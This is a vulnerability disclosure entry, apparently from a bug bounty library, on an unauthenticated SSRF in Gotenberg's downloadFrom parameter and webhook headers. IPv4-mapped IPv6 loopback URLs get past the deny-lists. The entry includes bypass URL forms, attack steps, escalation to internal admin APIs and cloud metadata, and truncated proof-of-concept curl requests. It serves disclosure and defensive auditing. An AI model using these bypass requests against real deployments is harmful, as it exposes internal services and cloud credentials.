# Gotenberg vulnerable to unauthenticated SSRF via default deny-list bypass in downloadFrom and webhook

Gotenberg's case-sensitive regex deny-lists for downloadFrom and webhook are bypassed with IPv4-mapped IPv6 loopback URLs, letting unauthenticated attackers reach internal HTTP services.

- Payout: Research
- Severity: critical
- Program: Gotenberg
- Found by: R1ZZG0D
- Disclosed: 2026-05-07
- CVE: CVE-2026-42596
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-4vmc-gm8v-m35h
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-4vmc-gm8v-m35h
- Tags: area:web domain:web impact:internal-access kind:research platform:ghsa sev:critical tech:go technique:parser-differential technique:source-review vuln:access-control vuln:ssrf

**Target:** Gotenberg HTTP API (downloadFrom parameter and webhook headers)
**Root cause:** Default deny-list regexes match only lowercase http:// and https:// prefixes with case-sensitive regexp2 matching, so alternate textual forms of loopback/private addresses (e.g. IPv4-mapped IPv6) pass the filter but are still resolved by Go's HTTP client.
**Steps:**
1. Send `POST /forms/pdfengines/metadata/read` with `downloadFrom=[{"url":"http://[::ffff:127.0.0.1]:18081/page_1.pdf"}]`
2. Observe Gotenberg fetches the internal loopback URL and returns PDF metadata for page_1.pdf
3. Send `POST /forms/pdfengines/flatten` with headers `Gotenberg-Webhook-Url: http://[::ffff:127.0.0.1]:18082/upload` and `Gotenberg-Webhook-Events-Url: http://[::ffff:127.0.0.1]:18082/events`
4. Observe internal listener receives `POST /upload` and `POST /events`
**How found:** Reporter read the default deny-list regexes in api.go and webhook.go, noted regexp2 matching is case-sensitive and only covers lowercase http(s) prefixes, then hypothesized that Go's HTTP stack accepts alternate loopback representations like IPv4-mapped IPv6 that the regex misses.
**Exploitation:** Unauthenticated attacker submits a form request with a downloadFrom URL or webhook headers pointing at an IPv4-mapped IPv6 loopback address; Gotenberg's outbound client fetches/POSTs to internal-only services, enabling read of internal HTTP content via downloadFrom and state-changing POST/PATCH/PUT via webhook.
**Escalation:** Webhook path allows arbitrary HTTP methods (POST/PATCH/PUT) to internal endpoints, extending read-only SSRF to state-changing requests against local admin APIs and cloud metadata services.
**Insight:** When auditing SSRF deny-lists, check whether filtering is regex-on-string versus resolved-IP based; any string-only filter will miss IPv4-mapped IPv6 (`[::ffff:127.0.0.1]`), bracketed forms, trailing dots, and case variants that the HTTP client still resolves to loopback.

## Proof of concept (copied exactly from the original report)

**downloadFrom SSRF bypass request with IPv4-mapped IPv6 loopback**

```
curl -sS \
    -o "$DOWNLOAD_JSON" \
    -w '%{http_code}' \
    -X POST "http://127.0.0.1:$PORT/forms/pdfengines/metadata/read" \
    -F "downloadFrom=[{\"url\":\"$DOWNLOAD_BYPASS_URL\"}]"
)"

if [[ "$download_status" != "200" ]]; then
```

**Webhook SSRF bypass request with loopback URLs**

```
curl -sS \
    -o /dev/null \
    -w '%{http_code}' \
    -X POST "http://127.0.0.1:$PORT/forms/pdfengines/flatten" \
    -H "Gotenberg-Webhook-Url: $WEBHOOK_UPLOAD_BYPASS_URL" \
    -H "Gotenberg-Webhook-Events-Url: $WEBHOOK_EVENTS_BYPASS_URL" \
    -F "files=@$TEST_PDF"
)"

if [[ "$webhook_status" != "204" ]]; then
```

